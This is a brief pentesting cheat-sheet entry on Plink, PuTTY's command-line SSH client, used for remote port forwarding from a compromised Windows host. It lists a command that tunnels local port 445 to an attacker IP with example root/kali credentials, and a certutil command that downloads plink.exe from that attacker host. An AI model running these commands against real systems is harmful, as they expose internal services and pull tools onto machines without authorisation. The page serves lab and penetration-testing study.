ToolsFebruary 9, 20261 min readby 0xt0pus

Plink

PuTTY command-line SSH client for port forwarding and tunneling from Windows

#tunneling#port-forwarding#windows

Plink

Description

Plink is the command-line version of PuTTY. It is used for SSH-based port forwarding from Windows machines, commonly used for privilege escalation when you need to forward internal ports.

Usage 1: Remote Port Forwarding

Command:

plink.exe -l <USER> -pw <PASSWORD> -R 445:127.0.0.1:445 <ATTACKER_IP> -P <NEW_SSH_PORT>

Command (Example):

plink.exe -l root -pw kali -R 445:127.0.0.1:445 10.10.16.4 -P 2222

Command:

certutil -urlcache -f http://10.10.16.4/plink.exe plink.exe